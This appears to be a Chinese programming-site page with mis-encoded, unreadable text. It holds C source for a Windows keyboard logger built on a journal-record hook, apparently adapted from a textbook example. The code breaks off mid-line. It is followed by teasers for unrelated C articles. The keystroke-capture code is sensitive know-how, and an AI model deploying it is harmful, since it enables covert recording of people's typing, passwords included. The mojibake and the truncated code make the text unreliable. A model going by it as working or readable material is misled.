Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

C¼üÅ̹³×Ó

¸ù¾Ý¡¶Windows»·¾³ÏÂ32λ»ã±àÓïÑÔ³ÌÐòÉè¼Æ¡·£¨ÂÞÔÆ±òÖø£©ÊéÉϵÄÀý×Ó£¬²ÉÓÃSDKʵÏÖ¼üÅ̼ǼÆ÷!
main.c
#include <windows.h>
#include "resource.h"
#define DEBUG 0
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam);
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
static HWND hWinMain=NULL;
static HHOOK hHook=NULL;
static WORD szAscii=0;
int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain);
return 0;
}
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
#if DEBUG
TCHAR buf[10];
#endif
switch (uMsg)
{
case WM_INITDIALOG:
hWinMain=hwndDlg;
SendMessage(hwndDlg,WM_SETICON,
ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN)));
//×°ÔØ¹³×Ó
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL);
if(!hHook)
{
EndDialog(hwndDlg,NULL);
}
break;
case WM_CLOSE:
//ÒÆ³ý¹³×Ó
UnhookWindowsHookEx(hHook);
EndDialog(hwndDlg,NULL);
break;
default:
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* ¹³×Ó´¦Àí¹ý³Ì */
/************************************************************************/
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam)
{
BYTE szKeyState[256];
int size;
PEVENTMSG eventMsg;
#if DEBUG
TCHAR buf[10];
#endif
if(HC_ACTION==code)
{
eventMsg=(PEVENTMSG)lParam;
if(WM_KEYDOWN==eventMsg->message)
{
GetKeyboardState(szKeyState);//µ±Ç°¼üÅÌ״̬ÌîÈ뻺³åÇø
szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//»ñÈ¡µÍλ,ÌØÊâÌîдSHIFT¼üɨÃèÂë
//½«ÐéÄâ¼üÅÌÂëת»»ASCIIÂë
size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&a


Ïà¹ØÎĵµ£º

ÔÚcºÍc++ÖжÔconstÐÞÊηûµÄ²»Í¬´¦Àí

ÎÒ²»»á˵ΪʲôÔÚc++ÖÐÓÃconst±ÈdefineºÃ£¬ÒòΪÎÒ×Ô¼º¶¼Ã»ÓжàºÃµØÁìÎòµ½£¬·´¶ø»¹¾õµÃdefineÄܹ»Íê³É¸üÇ¿´óµÄ¹¦ÄÜ£¬Ö»ÒªÊ¹Óõõ±¡£
ÔÚÕâÀïҪ˵µÄÖ»ÊÇÒ»¸öС¼¼ÇÉ£¬¸ø×Ô¼º±¸ÍüÓõġ£
constÔÚCºÍC++ÖÐ×î´óµÄ²»Í¬ÊÇ£¬ÔÚCÖУ¬constĬÈϾßÓÐÍⲿÁ´½Ó£¬¶øC++ÖÐÔòÊÇÄÚ²¿Á´½Ó£¬ÄÇôÓÃÆðÀ´ÓÐʲô²»Í¬ÄØ£¿
¼ÙÈçÎÒ¶¨ÒåÁË
const int ......

C Runtime Library

C Runtime Library
1)ÔËÐÐʱ¿â¾ÍÊÇ C run-time library£¬ÊÇ C ¶ø·Ç C++ ÓïÑÔÊÀ½çµÄ¸ÅÄî:È¡Õâ¸öÃû×Ö¾ÍÊÇÒòΪÄãµÄ C ³ÌÐòÔËÐÐʱÐèÒªÕâЩ¿âÖеĺ¯Êý.
2)C ÓïÑÔÊÇËùνµÄ“СÄں˔ÓïÑÔ£¬¾ÍÆäÓïÑÔ±¾ÉíÀ´ËµºÜС£¨²»¶àµÄ¹Ø¼ü×Ö£¬³ÌÐòÁ÷³Ì¿ØÖÆ£¬Êý¾ÝÀàÐ͵ȣ©£»ËùÒÔ£¬C ÓïÑÔÄں˿ª·¢³öÀ´Ö®ºó£¬ Dennis Ritchie ºÍ Brian ......

CÖÐÔ¤±àÒëºê¶¨Òå

CÖÐÔ¤±àÒëºê¶¨Òå
2010-01-07 11:49
ÔÚ½«Ò»¸öCÔ´³ÌÐòת»»Îª¿ÉÖ´ÐгÌÐòµÄ¹ý³ÌÖÐ, ±àÒëÔ¤´¦ÀíÊÇ×î³õµÄ²½Öè. ÕâÒ»²½ÖèÊÇÓÉÔ¤´¦ÀíÆ÷(preprocessor)À´Íê³ÉµÄ. ÔÚÔ´Á÷³ÌÐò±»±àÒëÆ÷´¦Àí֮ǰ, Ô¤´¦ÀíÆ÷Ê×ÏȶÔÔ´³ÌÐòÖеÄ"ºê(macro)"½øÐд¦Àí.
C ³õѧÕß¿ÉÄܶÔÔ¤´¦ÀíÆ÷ûʲô¸ÅÄî, ÕâÊÇÇéÓпÉÔ­µÄ: Ò»°ãµÄC±àÒëÆ÷¶¼½«Ô¤´¦Àí, »ã±à, ± ......

C Traps and Pitfalls Ëæ±Ê

CÏÝÚåÓÚȱÏÝÕâ±¾Ê鵽ͼÊé¹Ý½èÁ˺ܾã¬Ò»Ö±¶¼Ã»ÓÐϸϸµÄ¿´£¬ÏÖÍêÕûµÄ¿´ÁËÖ®ºó°ÑÈÏÎªÖØÒªµÄ£¬Ò»°ãÈË¿ÉÄܺöÊÓµÄÎÊÌâ¸ø×öÁ˱ʼǣ¬Ï£ÍûÓÐËù°ïÖú
2010.02.25
¶þάÊý×é:
int calendar[12][31];
int * p;
int i;
calendar[4]µÄº¬Ò壺
calendar[4]ÊÇcalendarÊý×éµÄµÚ5¸öÔªËØ£¬ÊÇcalendarÊý×éÖÐ12¸öÓÐ×Å31¸öÕûÐÍÔªËØµÄÊý×éÖ®Ò» ......

C Ô¤¶¨ÒåµÄºê

 C±ê×¼ÖÐÖ¸¶¨ÁËһЩԤ¶¨ÒåµÄºê£¬¶ÔÓÚ±à³Ì¾­³£»áÓõ½¡£ÏÂÃæÕâ¸ö±íÖоÍÊÇһЩ³£³£Óõ½µÄÔ¤¶¨Òåºê¡£
__DATE__
½øÐÐÔ¤´¦ÀíµÄÈÕÆÚ£¨“Mmm dd yyyy”ÐÎʽµÄ×Ö·û´®ÎÄ×Ö£©
__FILE__
´ú±íµ±Ç°Ô´´úÂëÎļþÃûµÄ×Ö·û´®ÎÄ×Ö
__LINE__
´ú±íµ±Ç°Ô´´úÂëÖеÄÐкŵÄÕûÊý³£Á¿
__TIME__
Ô´Îļþ±àÒëʱ¼ä£¬¸ñʽ΢“hh£ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ